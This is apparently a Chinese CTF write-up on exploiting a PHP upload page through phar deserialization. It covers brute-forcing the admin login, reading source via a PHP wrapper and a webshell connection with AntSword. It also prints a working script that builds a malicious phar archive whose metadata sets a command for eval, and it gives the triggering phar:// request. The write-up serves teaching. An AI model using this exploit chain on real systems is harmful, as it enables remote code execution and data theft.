前言
关键字:[phar|手动激活phar|phar:///]
题解
用户名输入admin
试了下也没找着注入点,先爆破一下吧。
跑出来密码是password
/home.php?file=upload
尝试下伪协议,拿到upload.php源码
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader
{
public $Filename;
public $cmd;
public $token;
function __construct()
{
$sandbox = getcwd() . "/uploads/" . md5($_SESSION['user']) . "/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if (isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])) {
$this->Filename = $_GET['name'];
} else {
$this->Filename = $sandbox . $_SESSION['user'] . $ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file)
{
global $sandbox;
global $ext;
if (preg_match("[^a-z0-9]", $this->Filename)) {
$this->cmd = "die('illegal filename!');";
} else {
if ($file['size'] > 1024) {
$this->cmd = "die('you are too big (′▽`〃)');";
} else {
$this->cmd = "move_uploaded_file('" . $file['tmp_name'] . "', '" . $this->Filename . "');";
}
}
}
function __toString()
{
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct()
{
if ($this->token != $_SESSION['user']) {
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if (isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if (@file_get_contents($uploader)) {
echo "下面是你上传的文件:<br>" . $uploader . "<br>";
echo file_get_contents($uploader);
}
}
?>
在这可以执行命令,看看$cmd能否控制。
文件上传+类似反序列化的类又没有反序列化函数,可以考虑phar
构造下pop链:
__destruct() <-
pop链还没构造完,发现这个代码
试了下直接传进去了
幸福来的太突然
连接蚁剑,结束。
还构造个p构造。
算了还是继续学习下。
phar反序列化
phar:伪协议可以不依赖unserialize()直接进行反序列化操作,
$uploader为对象,这里会触发__toString()
,而且file_get_contents()
可以配合伪协议,就造成了phar反序列化漏洞点。
$Filename是可控的,
这样就可以让file_get_contents()
去触发phar
先把token记下来
生成phar文件然后上传。
<?php
class Uploader
{
public $Filename;
public $cmd;
public $token;
}
$a = new Uploader();
$a->Filename = "test";
$a->token = "GXY7f17dc42f4567993f9be1dcb117e757d";
$a->cmd = 'highlight_file("/var/www/html/flag.php");';
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
再用phar协议触发反序列化
?file=upload&name=phar:///var/www/html/uploads/809e1a55c1990c491e2578068d1ae0e3/GXY7f17dc42f4567993f9be1dcb117e757d.txt
最后随便上传个文件,返回之前反序列化的类。
其实在之前就可以感觉得到,上传文件,不会马上给出反馈,而是上传下一个文件的时候把上一个上传的结果反馈出来。